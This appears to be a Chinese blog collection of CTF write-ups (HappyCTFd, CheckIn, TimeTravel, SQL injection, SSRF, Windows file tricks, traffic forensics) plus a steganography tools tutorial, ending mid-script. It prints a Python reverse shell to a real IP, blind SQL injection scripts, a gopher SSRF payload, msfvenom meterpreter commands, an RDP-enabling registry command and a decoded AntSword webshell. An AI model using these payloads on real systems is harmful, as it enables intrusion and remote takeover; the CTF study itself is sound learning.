V&N2020

HappyCTFd

ctfd漏洞 cve-2020-7245

CheckIn

考点: 1.无回显rce 2.文件描述符
分析源码:

from flask import Flask, request
import os
app = Flask(__name__)

flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
# return flag
## want flag? naive!

# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
os.system("rm -f flag.txt")
exec_cmd = request.args.get('c')
os.system(exec_cmd)
return "1"

@app.route('/')
def source():
return open("app.py","r").read()

if __name__ == "__main__":
app.run(host='0.0.0.0')

我们先分析下几个路由,很明显,我们可以在shell这个路由执行命令,但是他是无回显的,然后接下来我们可以看到,flag.txt这个文件,会先被打开,然后再执行删除命令,所以要如何读到这个flag呢?
文件描述符
什么是文件描述符:内核利用文件描述符来访问文件。文件描述符是非负整数。打开现存文件或新建文件时,内核会返回一个文件描述符。读写文件也需要使用文件描述符来指定待读写的文件。

例如Python中,当我们open()函数打开一个文件时便创建了一个文件描述符,而后对这个文件描述符使用read()函数便是读取文件描述符中的内容,close()函数用于关闭/销毁这个文件描述符。

文件描述符储存在什么地方:/proc/<pid>/fd<id>

也就是说,我们可以通过cat进程中的fd来获取到文件描述符。而文件描述符中就存储着该文件的内容

无回显命令执行,一般都是考虑反弹shell操作,但是这里curl等一些常见命令都执行不了,这有这个可以

python3 -c 
'
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("110.42.133.120",9999));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"]);
'

接下来就使用以下命令

cd /proc
ls
cd /proc/[pid]#进程数字
cd /porc/[pid]/fd
cat [文件描述符数字]

进行flag的查找即可
img

小结

这题的考点让我没想到的是,原来文件描述符里面可以存储文件的信息,只要你有对他进行操作既有,以前都是光用,没想到这个~,现在就明了了

TimeTravel

<?php
error_reporting(0);
require __DIR__ . '/vendor/autoload.php';

use GuzzleHttp\Client;

highlight_file(__FILE__);

if(isset($_GET['flag'])) {
$client = new Client();
$response = $client->get('http://127.0.0.1:5000/api/eligible');
$content = $response->getBody();
$data = json_decode($content, TRUE);
if($data['success'] === true) {
echo system('/readflag');
}
}

if(isset($_GET['file'])) {
highlight_file($_GET['file']);
}

if(isset($_GET['phpinfo'])) {
phpinfo();
}

拿到flag的条件是data[success]的条件为true,这里有个漏洞就是这题的考点
https://github.com/vulhub/vulhub/tree/master/cgi/httpoxy
大致就是,如果定义了环境变量http_proxy,php内的http-api就会走这个代理。在这个phpinfo中就开启了cgi模式了,然后可以在服务器写入需要传入的一个true的内容,并在题目那边配置这个地址即可收到我们传入的content

HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Fri, 06 Mar 2020 18:27:31 GMT
Content-Type: text/html; charset=UTF-8
Connection: Keep-alive
Content-Length: 16

{"success":true}
img img

misc入门

图片

文件头修复

常见的图片格式文件头如下:

文件类型 文件头
JPEG(jpg) FFD8FF
PNG(png) 89504E47
GIF(gif) 47494638
BMP 424DC001

其他更多类型的文件头请看https://blog.csdn.net/qq_23100787/article/details/79040925

方法:以16进制的方式打开文件,在文件最开始添加相应的文件头

CRC校验修复

img

3.宽高修复

对于png格式的图片,宽高的数据位置如图片所展示的那样

img

如果遇到简单一点的题目,可以直接尝试修改宽高,这里建议一般选择修改高度,一点点的改动即可。如果随意修改宽度一般都是会造成图像错误的。

一个简单的检测宽高是否有误的方法:在Windows下能打开的图片在linux下不能打开,就说明可能是宽高存在问题

最正确的方法则是通过crc值爆破宽高,给出大佬的脚本(记不得是哪里找到的了)

#!/usr/bin/env python
#-*- coding:UTF-8 -*-
import binascii
import struct
import os
crcbp = open("flag.png","rb").read()#填文件名
for i in range(1024):
for j in range(1024):
data = crcbp[12:16] + struct.pack('>i',i) + struct.pack('>i',j) + crcbp[24:29]
crc32 = binascii.crc32(data) & 0xffffffff
if crc32 == 0x4d614986 :#此处填CRC值
print (i);
print (j);
print (hex(i),hex(j))

爆破出来后修改即可。

对于jpg格式的图片也存在宽高隐写,有师傅写的很详细了,此处不再赘述。有需要的朋友请移步:https://blog.csdn.net/u010391191/article/details/80811813

4.LSB隐写

有关该隐写方式的原理网上已经有很多文章写过了,此处简单说一下做题方法。

工具:stegsolve(需要java环境)

用该工具打开图片后,点击1616209932_6055680c923adb2cadca5.png!small?1616209932678然后按照如下图片点击1616210229_6055693533f311bdd67e9.png!small?1616210229611最后点击preview。有时候点preview没用,需要点击最下面的save text或者save bin才能得出结果。这张图只是给出了示例,具体做题的时候可以多试一下和其他按键的组合。

还有一个比较简单的方法,用zsteg工具,需要kali里面在线安装:gem install zsteg

使用命令格式:zsteg filename

5.对于两张相同图片的隐写

1.盲水印

两张相同的图片首先考虑盲水印。使用方法及脚本移步https://github.com/chishaxie/BlindWaterMark

2.组合进行不同运算(and、or、xor等)

还是用stegsolve,点击1616210657_60556ae10459af20228c1.png!small?1616210657114之后会再让你打开一张图片,此时需要注意两张图片的打开顺序不同,运算的结果也不同,实际操作中就需要各位来回试一下了

6.文件分离

常用工具:binwalk、formost、dd

binwalk:可快速分辨文件是否由多个文件合并而成,并将文件进行分离。如果分离成功会在目标文件的目录。

分析文件:binwalk filename

分离文件:binwalk -e filename

formost命令:formost filename -o 输出的目录名

因本人较懒,所以用了一个师傅说的方法,在用formost分离文件时很方便(不用敲命令)。参考链接:https://blog.csdn.net/qq_39368007/article/details/91129628

dd:当文件自动分离出错或者因为其他原因无法自动分离时使用

imgps:如果一个工具分离不出来一定要多试几种,因为每种工具分离方法都有所差别,难免会出现分离不出来的情况。

7.二维码

取反色

有一道题就是将二维码颜色取反再扫描得出结果,记不得是哪里的了。具体操作可以用windows自带的画图工具,打开图片然后点击主页的选择1616227603_6055ad138ab71dcb1211d.png!small?1616227603841选中图片后右键选择反色1616227637_6055ad354400e7dcbc8d7.png!small?1616227637530当你发现二维码的三个定位点是白色的时候,就说明需要进行反色操作了

8.一些其他常用工具介绍

针对jpg格式图片的隐写:

steghide

用法

隐藏文件
steghide embed -cf [图片或wav文件载体] -ef [待隐藏文件]
steghide embed -cf 1.jpg -ef 1.txt

查看图片中嵌入的文件信息
steghide info 1.jpg

提取图片中隐藏的文件
steghide extract -sf 1.jpg

stegdetect(可检测通过JSteg,JPHide,OutGuess,Invisible,F5,oppendX,Camouflage等隐写工具隐藏的信息)

用法

stegdetect xxx.jpg

stegdetect -s 敏感度 xxx.jpgexi

stegbreak(爆破密码)
stegbreak.exe -r rules.ini -f password.txt p -c hide.jpg

jphide

  • imgsilenteye(下面会有一定的介绍,用法基本一致)

音频隐写

1.针对mp3文件的隐写

将分别介绍以下工具:Audacity、MP3Stego

Audacity

一般得到题目文件,打开听到有杂音首选用这个工具打开。简单的题目就是在原音频中加入了一段摩斯密码,通过这个工具可以直接看出来

img然后解密即可。

难一点的题目则是对音频进行频谱分析,比如这篇文章https://blog.csdn.net/vhkjhwbs/article/details/103036133谈到的lookme和用眼睛去倾听这两道题。

MP3Stego

如果mp3 文件听上去没有什么奇怪的地方,那么就试试用这个工具。教程:https://blog.csdn.net/myloveprogrmming/article/details/52641916

用这个工具会输入密码,有时候题目没有特别提示就可以试试弱口令,有时候甚至就是题目名字。

2.针对wav文件的隐写

工具:silenteye

img

将文件拖到里面点击decode

1616219110_60558be69cb4a29f9b5b0.png!small?1616219110893简单的题目此时再点右下角的decode就能出结果,稍微绕点的就还需要1616218742_60558a76a44a76b41701c.png!small?1616218743088勾选这里输入密码,或者选择正确的type,看出题人的心思了~

1616218784_60558aa0c70f5b6d4606f.png!small?1616218784960

当然,这个工具还能对bmp、jpg格式的隐写文件进行解密

视频隐写

1.针对mp4文件的隐写

工具:ffmpeg(一套可以用来记录、转换数字音频、视频,并能将其转化为流的开源计算机程序。)

详细使用教程介绍:https://blog.csdn.net/Allyli0022/article/details/78355248

一般在题目中会插入一些图片,由于一下就闪过了所以需要用这个工具按帧提取出来,简单的题目往往这样就能做出来了。

文本隐写

1.word文档隐写

白色文字

由于一般word文档都是白色为底色,所以如果文本字体设置的是白色,就看不出来有东西,这个时候可以试试ctrl+a,全选文字

1616222817_60559a617585519deeeaa.png!small?1616222817668

再把颜色改成其他颜色,就能看出来被隐藏的文字了

隐藏文字选项

在文本出右键鼠标,字体选项中有一处隐藏文字选项1616222980_60559b04517f08d9681bd.png!small?1616222980656取消勾选后被隐藏的文字就出现了1616222937_60559ad95afa4b0ecc0f0.png!small?1616222937529

2.PDF隐写

wbs43open(可用于PDF、bmp等文件的隐写)

1616223111_60559b879a5b8bb7bff13.png!small

点击continue后会出现encode和decode,解密就选decode,然后第三步就选择文件类型和文件

1616223176_60559bc85ad7d38896b5a.png!small

第四步步设置密码,可以置空

1616223637_60559d9519ea72fcbf03a.png!small

第五步设置解密之后文件的存储路径及文件名

1616223715_60559de338f52f5b9799b.png!small

接下来第六步完成就行啦

要出这种类型的隐写题同样用这个工具也行。

3.html隐写

即snow隐写,需要告诉key,解密网站http://fog.misty.com/perry/ccs/snow/snow/snow.html

其他类型的隐写

1.base64隐写

Tr0y师傅的文章讲解的很详细,在这里就不过多介绍了,请移步https://www.tr0y.wang/2017/06/14/Base64steg/

2.零宽度字符隐写

零宽度字符是一些不可见的,不可打印的字符。本文不做更多介绍,更详细的内容请移步http://www.ga1axy.top/index.php/archives/20/

3.ntfs数据流隐写

NTFS(New Technology File System)是Windows NT内核的系列操作系统支持的、一个特别为网络和磁盘配额、文件加密等管理安全特性设计的磁盘格式,提供长文件名、数据保护和恢复,能通过目录和文件许可实现安全性,并支持跨越分区。 –《百度百科》

echo abcdefg>>123.txt:222.txt

该条命令创建的是单独的NTFS流文件,系统不可见的同时我们无法通过普通方法看到

1616225534_6055a4feb5b26c242be4a.png!small?1616225534943此时有两种方法,一种是命令:

notepad 123.txt:222.txt //这个命令只有自己已经知道NTFS流文件名的时候使用,局限性很大,同时失败几率大	

1616225700_6055a5a42a3daec335e68.png!small?1616225700447

另一种方法是用工具:NtfsStreamsEditor(右键以管理员身份运行)

1616225578_6055a52a4b4eeeb8fc64b.png!small?1616225578565

点击快速查看

1616225643_6055a56bf3e0864995ec3.png!small?1616225644260

原文链接:https://www.freebuf.com/articles/others-articles/266884.html

2021鹤城杯

前言

今天满课了,抽时间打了一下鹤城杯,web做了两题,第三题感觉可以做的,因为在去上课的路上查到了bypass的手法,不过后面学长也做出来了,tql,然后做了两题流量取证的misc,还不错,这里就就贴一下自己做出来的几题,顺便记录一下其他没做出来的题

middle_magic

考烂的php黑魔法
img

流量取证

盲注找flag
img

flag{w1reshARK_ez_1sntit}

easy_sql_2

拿了一个十血,但是感觉可以更快的,可惜早上有课

过滤了select,联想到堆叠或者mysql8.0的table
测试了一下发现是mysql8.0,故用table进行注入

def sql_injection(pay_lo):#库名和版本
fina_wod=""
for i in range(1,100):
low=32
high=128
mid=(low+high)//2
while(low<high):
payload_1=f"admin'and ascii(substr(({payload}),{i},1))>{mid}#".replace(" ","/**/")
data={
'username':payload_1,
'password':"1"
}
#print(data)
r=s.post(url=url,data=data).text
print(r)
if "password error!" in r:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if (mid == 32 or mid == 128):
break
fina_wod += chr(mid)
print(fina_wod)

def sql_injection_s():#表名
fina_wod=""
a="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
for i in range(0,100):
for j in range(0,62):
#payload_2=f"admin'and (('def','ctf','{fina_wod+a[j]}','',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1)<(table information_schema.tables order by TABLE_SCHEMA limit 1,1))#".replace(" ","/**/")
payload_2=f"admin'and ('ctf','{fina_wod+a[j]}',1,1,1,1)<(table mysql.innodb_table_stats order by database_name limit 1,1)#".replace(" ","/**/")
data={
'username':payload_2,
'password':"1"
}
r = s.post(url=url, data=data).text
print(payload_2)
print(r)
if "username error" in r:
fina_wod+=a[j-1]
print(fina_wod)
break

def search_co():#探测表在第几个
for i in range(0,10000):
#payload=f"admin'and/**/('def','ct',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1)<(table information_schema.tables order by table_schema desc limit {i},1)#".replace(" ","/**/")
payload=f"admin'and/**/('ct',1,1,1,1,1)<(table mysql.innodb_table_stats order by database_name limit {i},1)#".replace(" ","/**/")
data1={
'username':payload,
'password':"123"
}
#print(data1)
#print(s.post(url=url,data=data1).text)
if "username error!" in s.post(url=url,data=data1).text:
print("ctf库在第",i,"列")


if __name__=="__main__":
#payload="database()"#ctf
#payload="version()"#8.0.26-0ubuntu0.20.04.2
payload="table fl11aag limit 1,1"
#search_co()
#print_word()
sql_injection(payload)
#sql_injection_s()

img

misc

img img

依旧是盲注找flag,没啥好说的,不过前面的好像是图片隐写啥的,没做出来,xy大佬发给我的这个流量取证的

99,100,50,99,51,101,50,102,101,97,52,54,51,100,101,100,57,97,102,56,48,48,100,55,49,53,53,98,101,55,97,113,125

easyp

同样是黑魔法

<?php
include 'flag.php';

if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if ($guess === $secret) {
$message = 'Congratulations! The flag is: ' . $flag;
} else {
$message = 'Wrong. Try Again';
}
}

if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("hacker :)");
}

if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
exit("hacker :)");
}

if (isset($_GET['show_source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}else{
show_source(__FILE__);
}

第一个用%0a或者%0d绕过,一开始我用%0a可以,后来用%0d才可以,都放在utils.php的后面
然后第二个使用url的一个检测机制绕过
访问这个是学长的截图了,放在这里记录一下
img

spring

这题也是学长做的,不过说是原题

Spring Web Flow框架远程代码执行(CVE-2017-4971)

https://juejin.cn/post/7006672559714336805

easy_sql_1

唯一没做出来的一题
一开始以为是ssrf打mysql,后来发现怎么打都不行,然后赛后问其他师傅,说是要打index.php那个页面,贴一下flag

a = "admin')and (extractvalue(1,concat(0x7e,(select group_concat(flag) from flag),0x7e)))#"
a = quote(base64.b64encode(a.encode("utf-8")))
payload = f'''gopher%3a%2f%2f127.0.0.1%3a80%2f_post%20%2findex.php%20http%2f1.1%250d%250ahost%3a%20localhost%3a80%250d%250acookie%3a%20phpsessid%3d25c1mm4b3ppn9ohr2gve7d4tg4%3bthis_is_your_cookie%3d{a}%250d%250aconnection%3a%20close%250d%250acontent-type%3a%20application%2fx-www-form-urlencoded%250d%250acontent-length%3a%2021%250d%250a%250d%250auname%3dadmin%26passwd%3dadmin'''

解码以后是就是使用gopher发送post请求到本地的index.php页面,然后使用admin/admin进行登录,并且注入点是在cookie的位置的

a = "admin')and (extractvalue(1,concat(0x7e,(select group_concat(flag) from flag),0x7e)))#"
a = quote(base64.b64encode(a.encode("utf-8")))
payload = f'''gopher://127.0.0.1:80/_post /index.php http/1.1
host: localhost:80
cookie: phpsessid=25c1mm4b3ppn9ohr2gve7d4tg4;this_is_your_cookie={a}
connection: close
content-type: application/x-www-form-urlencoded
content-length: 21

uname=admin&passwd=admin'''

TSG2021+0ctf

前言

战队让加的比赛讨论群一个没少加,题目也是一个都不会,就把一些感觉现阶段可以学懂的题目复现一下试试看

Welcome to TSG CTF!

签到题,签了很多人

const {promises: fs} = require('fs');
const fastify = require('fastify');


const flag = process.env.FLAG || 'DUMMY{DUMMY}';


const app = fastify();
app.get('/', async (_, res) => {
res.type('text/html').send(await fs.readFile('index.html'));
});
app.post('/', (req, res) => {
if (typeof req.body === 'object' && req.body[flag] === true) {
return res.send(`Nice! flag is ${flag}`);
}
return res.send(`You failed...`);
});


app.listen(34705, '0.0.0.0');

关键的代码在

typeof req.body === 'object' && req.body[flag] === true

意思是说,post传入的数据的typeof为object,并且这个数据的[flag]要为true,这里就需要理解一下什么是[flag],比如说flag是abc那么他就是[abc],比如说我传入一个tlif3,那么我就要有一个tlif3[abc]=true,很显然,这是不可能达成的,因为我们根本不知道flag的值为多少,那么这里就有一个小trick
首先typeof 为object的有数组对象,还有一个null,而如果针对null进行寻址的话,就会报错,此时报错就会将flag的值给带出
img

Win-Win

刚刚去看了一下,发现没环境了—于是就把题解说的看一下吧

windows找后台目录

Windows 在搜索文件的时候使用到了FindFirstFile 这一个winapi 函数,该函数到一个文件夹(包括子文件夹) 去搜索指定文件。
利用方法:

我们只要将文件名不可知部分之后的字符用“<”或者“>”代替即可,不过要注意的一点是,只使用一个“<”或者“>”则只能代表一个字符,如果文件名是12345或者更长,这时候请求“1<”或者“1>”都是访问不到文件的,需要“1<<”才能访问到,代表继续往下搜索,有点像Windows的短文件名,这样我们还可以通过这个方式来爆破目录文件了。
img img

可以发现在windows系统下是可以这样进行读取文件的操作,那么这就意味着,我们只需要对首字母进行爆破即可
参考:
https://blog.csdn.net/bylfsj/article/details/102771173

然后寻找配置文件之类的进行读取,
最后再包含xampp的 apache_start.bat文件成功:?win=..\..\t<\apache_start.bat

读取php.ini文件:?win=..\..\t<\php\phpi.ini,发现了路径:C:\THIS_IS_A_SECRET_PATH_107B1177348CC063A0713838282B1C27892D5FE2\

然后session文件上传,但是题目本来说不可以的,所以应该就是非预期解了
然后本地生成msf马

msfvenom -p windows/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=5555 -f exe -o shell.exe

并在服务器进行监听

Use exploit/multi/handler
Set payload windows/meterpreter/reverse_tcp
Set lhost 0.0.0.0
Set lport 5555
Run

使用getsystem进行提权登录界面,因为要截图

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

screenshot没有权限。打开3389端口,修改administrator密码:

即可在桌面上看到flag

RevengePHP

javascript奇妙的变量类型安全问题

变量类型污染问题

js数据类型

值类型(基本类型):

字符串,数字,布尔,对空,未定义,symbol(es6引入一种新的原始数据类型,表示独一无二的值)

引用数据类型:

对象(object),数组(array),函数(function)

对象
花括号分割,在括号内部,对象的属性以名称和值对的形式(name : value)来定义
属性由逗号分割:

eg:
var person={firstname:"John",lastname:"Doe"}
此时对象person有三个属性,firstname,lastname

对象属性寻址方式

name=person.lastname;
name=person["lastname"];

json可以发送的数据

JSON 值可以是:

  • 数字(整数或浮点数)

    发送
    1 #typeof number
  • 字符串(在双引号中)

    发送
    "a"#typeof string
  • 逻辑值(true 或 false)

    发送
    true#typeof boolean
  • 数组(在中括号中)

    发送
    ["a","b"]#typeof object
  • 对象(在大括号中)

    发送
    {"name": "Tom","Grade":1, "age":11, "gender": "M"} #typeof object
  • null

    发送
    null#typeof object

加运算

字符串+字符串依然得到字符串
字符串+数组也是,其他都是
但如果不是字符串相加,则为
true+true=2#因为true为1
基本上除了Number+Number=Number,Bool+Bool=Number

js各种小trick

一个正数的负大数次方为0,负数的则为-0
NaN和NaN不相等
e++<e--肯定满足;做比较时true为1,false为0
任何非空字符串都为真,js中两个等号为弱类型判断
string(大数)返回Infinity;json.parse()可以处理数字
in对数组来说是判断数组的key
括号json.parse()基本一样效果;json.parse()可以解析__proto__
对null变量进行数组寻址会报错,并且null变量为object

javascript原型链污染

三种属性

1.__proto__和constructor属性是对象所独有的:
2.prototype属性是函数所独有

但是由于JS中函数也是一种对象,所以函数也拥有__proto__和constructor属性

__proto__

proto属性是对象所独有的

作用:当访问一个对象的属性时,如果该对象内部不存在这个属性,那么他就会去它的proto属性所指向的那个对象(理解为父对象),如果父对象也没有,则在往上找,如果一直到原型链顶端都没有该属性,就会报错

这种通过__proto__属性来连接对象直到null的一条链即为我们所谓的原型链。其实我们平时调用的字符串方法、数组方法、对象方法、函数方法等都是靠__proto__继承而来的。

prototype属性

它是函数所独有的,是从函数指向对象,并且是函数的原型对象,也就是这个函数(其实所有函数都可以作为构造函数)所创建的实例的原型对象,由此可知

f1.__proto__==Foo.prototype

**作用:**包含可以由特定类型的所有实例所共享的属性和方法,也就是让该函数所实例化的对象们都可以找到公用的属性和方法,任何函数在创建的时候,其实会默认同时创建该函数的prototype对象

constructor属性

它是对象才拥有的,他是从一个对象指向一个函数,含义就是指向该对象的构造函数,每个对象都有构造函数

原型链

eg:
img

var a = {};
console.log(a.__proto__); //Object {}
console.log(a.__proto__ === a.constructor.prototype); //true

小结

1.我们需要牢记两点:①__proto__和constructor属性是对象所独有的;②prototype属性是函数所独有的,因为函数也是一种对象,所以函数也拥有__proto__和constructor属性。

2.__proto__属性的作用就是当访问一个对象的属性时,如果该对象内部不存在这个属性,那么就会去它的__proto__属性所指向的那个对象(父对象)里找,一直找,直到__proto__属性的终点null,再往上找就相当于在null上取值,会报错。通过__proto__属性将对象连接起来的这条链路即我们所谓的原型链。

3.prototype属性的作用就是让该函数所实例化的对象们都可以找到公用的属性和方法,即f1.proto === Foo.prototype。(意思是让f1可以找到公用的属性方法,即向上找有prototype给他)

4.constructor属性的含义就是指向该对象的构造函数,所有函数(此时看成对象了)最终的构造函数都指向Function。

javascript基础语法

传输数据

1.req.params/req.query/req.body

req.params

eg:/modify/:file
/modify/index
那么req.params.file=index

req.query

eg:
?id=2
那么req.query.id那么就可以得到2

req.body(针对post请求)

eg:
post:username=adbc
req.body.username=adbc

定义变量

const: 用于定义不可变变量
**var 声明语句声明一个变量,并可选地将其初始化为一个值
**process.env
:返回包含用户环境的对象

2021绿城杯

前言

这次比赛,难得很难,简单的很简单,然后由于那天要上课,题目没做啥,后面下课一直在看cms,导致looking for treasure没去找,以为也是js的难题,后来看到很多人解出来,就去找,可是时间已经来不及了=-=,不过今天主要是学习一下这个流量分析,感觉挺有意思的

ezphp

签到题,很简单,就是assert()函数,然后跟前两buu刚做的那题考点差不多,闭合前面的内容,然后重新进行命令执行

'.system("cd /var/www/html/;git status;").'about

looking for treasure

defcon的原题

https://blog.zeddyu.info/2020/10/15/Defcon28final/

题解分析
第一个漏洞点是这里,直接利用包含,包含的时候如果报错,会直接将报错内容报出

let json_library = require(req.params.library)

这里存在一个js的原型链污染
img
直接搜defcon nooode即可

流量取证

题目放出hint,说是蚁剑,于是查询了一下
img

发现往这边post了很多数据,但是经过混淆,发现了secret.zip
img找到压缩包,然后将其导出用010editer打开,

img 发现需要密码 img

那么密码肯定就在被混淆的那些数据当中了,所以需要知道如何解密,使用python写一下脚本

import base64
import zlib
def decode_config_cmd(basestr):
return zlib.decompress(base64.b64decode(basestr),-zlib.MAX_WBITS)
print(decode_config_cmd('c0gtS8zRcEivysxLy0ksSdVISixONTOJT0lNzk9J1VCJD/APDomON6hIMzA1TzWwMExJs7CwiNXU1LQGAA=='))

解压结果:

b'@eval(@gzinflate(base64_decode($_POST[_0xf057e081df888])));'

但是往下继续解密,没发现其他有用的数据,再继续往下看看数据包的时候,就发现,有个对secret.zip进行压缩的操作
img

针对这个数据,进行解密看看

@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir) {
$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr = preg_split("/;|:/", $opdir);
@array_push($oparr, $ocwd, sys_get_temp_dir());
foreach ($oparr as $item) {
if (!@is_writable($item)) {
continue;
}
$tmdir = $item . "/.fedd1";
@mkdir($tmdir);
if (!@file_exists($tmdir)) {
continue;
}
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr = @preg_split("/\\\\|\\//", $tmdir);
for ($i = 0; $i < sizeof($cntarr); $i++) {
@chdir("..");
}
@ini_set("open_basedir", "/");
@rmdir($tmdir);
break;
}
}
function asenc($out)
{
return $out;
}
function asoutput()
{
$output = ob_get_contents();
ob_end_clean();
echo "36" . "4f2";
echo @asenc($output);
echo "42" . "ff1";
}
ob_start();
try {
$p = base64_decode(substr($_POST["f861d394170244"], 2));
$s = base64_decode(substr($_POST["ufbd335828f30f"], 2));
$envstr = @base64_decode(substr($_POST["b430b310838a93"], 2));
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
$c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";
if (substr($d, 0, 1) == "/") {
@putenv("PATH=" . getenv("PATH") . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
} else {
@putenv("PATH=" . getenv("PATH") . ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
}
if (!empty($envstr)) {
$envarr = explode("|||asline|||", $envstr);
foreach ($envarr as $v) {
if (!empty($v)) {
@putenv(str_replace("|||askey|||", "=", $v));
}
}
}
$r = "{$p} {$c}";
function fe($f)
{
$d = explode(",", @ini_get("disable_functions"));
if (empty($d)) {
$d = array();
} else {
$d = array_map('trim', array_map('strtolower', $d));
}
return function_exists($f) && is_callable($f) && !in_array($f, $d);
}
function runshellshock($d, $c)
{
if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
$tmp = tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() { x; }; {$c} >{$tmp} 2>&1");
if (fe('error_log')) {
error_log("a", 1);
} else {
mail("a@127.0.0.1", "", "", "-bv");
}
} else {
return False;
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if ($output != "") {
print $output;
return True;
}
}
return False;
}
function runcmd($c)
{
$ret = 0;
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
if (fe('system')) {
@system($c, $ret);
} elseif (fe('passthru')) {
@passthru($c, $ret);
} elseif (fe('shell_exec')) {
print @shell_exec($c);
} elseif (fe('exec')) {
@exec($c, $o, $ret);
print join("\r\n", $o);
} elseif (fe('popen')) {
$fp = @popen($c, 'r');
while (!@feof($fp)) {
print @fgets($fp, 2048);
}
@pclose($fp);
} elseif (fe('proc_open')) {
$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
while (!@feof($io[1])) {
print @fgets($io[1], 2048);
}
while (!@feof($io[2])) {
print @fgets($io[2], 2048);
}
@fclose($io[1]);
@fclose($io[2]);
@proc_close($p);
} elseif (fe('antsystem')) {
@antsystem($c);
} elseif (runshellshock($d, $c)) {
return $ret;
} elseif (substr($d, 0, 1) != "/" && @class_exists("COM")) {
$w = new COM('WScript.shell');
$e = $w->exec($c);
$so = $e->StdOut();
$ret .= $so->ReadAll();
$se = $e->StdErr();
$ret .= $se->ReadAll();
print $ret;
} else {
$ret = 127;
}
return $ret;
}
$ret = @runcmd($r . " 2>&1");
print $ret != 0 ? "ret={$ret}" : "";
} catch (Exception $e) {
echo "ERROR://" . $e->getMessage();
}
asoutput();
die;

关键代码就这几行

$p = base64_decode(substr($_POST["f861d394170244"], 2));
$s = base64_decode(substr($_POST["ufbd335828f30f"], 2));
$envstr = @base64_decode(substr($_POST["b430b310838a93"], 2));

对post的数据从第二位以后开始截取,然后进行base64解密得到,那么-后面的应该就是密码了

b'cmd'
b'cd /d "D:\\\\phpstudy_pro\\\\WWW\\\\secret"&"C:\\Program Files\\7-Zip\\7z.exe" x secret.zip -pP4Uk6qkh6Gvqwg3y&echo 378df2c234&cd&echo fb7f8f'

做到这里,我以为已经快结束了,没想到还有–,虽然说这个文件可以用了,但是他就只是一个cs的beacon模式密钥,所以还需要从下面的beacon的流量中做一下文章:
https://wbglil.gitbook.io/cobalt-strike/cobalt-strike-yuan-li-jie-shao/cs-mu-biao-shang-xian-guo-cheng
大概说一下,使用beacon模式传输数据,会对数据进行加密,并且是RSA非对称加密,并且公钥和私钥都会存储在这个key当中,所以先针对key进行公钥和私钥的解出,然后再去解密其他beacon流量,应该就可以找到flag
使用了一下网上的项目,但是java程序一直跑不起来,等解决了再来补充这一部分的操作,
拿到加密的私钥以后

MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBAIqpewO+lqNYuxQhQwq7pMdM7CP92uer5FkUA41vPaelrbpqr1ujH95Q7Rfqt7E7Vc+Xx5dYQCoRaysjNm+UfuRcFocLHG2ugf4+/NEX/NFE+gI279wXfC+zZ0MGFMQIAC1TClaiMvALwMB9nBuXK/CErC754co9cIbaIkCl/sRXAgMBAAECgYBqlSFYXHwfrMmIDJUiv99FzovIko1b/FV2Xxrn8TS8E265Vt3Zm0aYtS25b5Ko6YnpGqqxW4VekKsGqndiRwtNSbIilU1EqWqfdBmucptnISgDdx+ofWbInTRl+leBzDW4Zsl2sMvMmmyhsc/X35pGbH2lRXXEegPzradtyBwhUQJBANt2IC4p5CQW2UxXVjmrTbA+CuJLfnZE+97HCjzZPi/gUiF4akFQx46x0vT1RmcalqUg1Prl7OoKb05Lmwm0XukCQQChv4blpfqVcdz9X6MGJqeaiC22EPZn+2dhm4PbZIhurs57M7+dqlYxoG6LneU0H1N8ieeH9fb9ixG/8+F7iIE/AkEAzyzYfDv3r0oSoMriD1bz5CjtxWtXWvcMfuaPd5nt5uxxHD+8ryQ+/ypH6A+UAslK5V/1L1XXLankIZmmJqcr4QJAGUAkF//EUcY3wJpIgfJQ4e/2auDVBsCZkAROHlbgcZ76fwNCG6P21sJ733Hj0TI+v0dsDK6aQ1SNjdDN15Ik0wJBAK7C5l0QF8NRlIw2+tPUSDVy/PRUVmpRRd4cD4HXNtVMg0Dr3L7vx9PeyJH0EFuaVWItdBDILP0HzUR1/wk5ZFY=

贴一下大佬的脚本

import hashlib
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
import base64
import hexdump

PRIVATE_KEY = """-----BEGIN RSA PRIVATE KEY-----
{}
-----END RSA PRIVATE KEY-----"""

